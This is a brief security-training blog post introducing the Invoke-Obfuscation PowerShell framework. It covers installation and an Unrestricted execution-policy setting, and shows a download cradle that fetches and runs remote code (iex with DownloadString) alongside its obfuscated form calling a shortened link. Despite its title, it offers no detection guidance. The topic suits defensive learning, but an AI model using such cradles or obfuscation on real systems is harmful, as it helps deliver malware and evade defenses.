PowerShell Obfuskation Techniques & How to Detect Them

April 26, 2017 | Views: 3826

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Introduction:

Invoke-Obfuscation is a code obfuscating Framework built on PowerShell by Daniel Bohannon.

Attackers are using more and more powerful techniques to obfuscate their scripts and codes. PowerShell script is one such particular way of attack which is very dangerous if used due to few reasons

  • Most of the internet population is on Windows.
  • It can be executed in a different number of ways.
  • PowerShell can be used in every part of attack cycle

There are numerous ways to execute PowerShell scripts. They can be from files like (.ps1, .vbs, .bat), from Microsoft Word, Microsoft Excel or even Remotely!

Installation:  https://github.com/danielbohannon/Invoke-Obfuscation

In order to install the Invoke-Obfuscation tool, download the git repository to a folder and fire up your PowerShell then type in: Import-Module  ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

Welcome Screen for the Framework

If there was an error showing on your PC about Execution Policy Just type in this:  Set-ExecutionPolicy -Scope CurrentUser Unrestricted

This lets you execute your downloaded scripts.

Once this screen appears it is time to HAVE FUN!

THIS:

 iex (New-Object Net.WebClient).DownloadString(“http://%s:%s/%s”)n 

This command to download something can be converted to this:

((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}.”`I`N`V`o`k`e`C`o`m`m`A`N`d”). “`N`e`w`S`c`R`i`p`T`B`l`o`c`k”((& (`G`C`M *w-O*) “`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/L3g1t’))) ….

All you have to do is to is:

SET variable <command>

Once set, just type in encode and select the options from above. You can generate a token by pressing the token command etc. Keep exploring the possibilities!

 

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel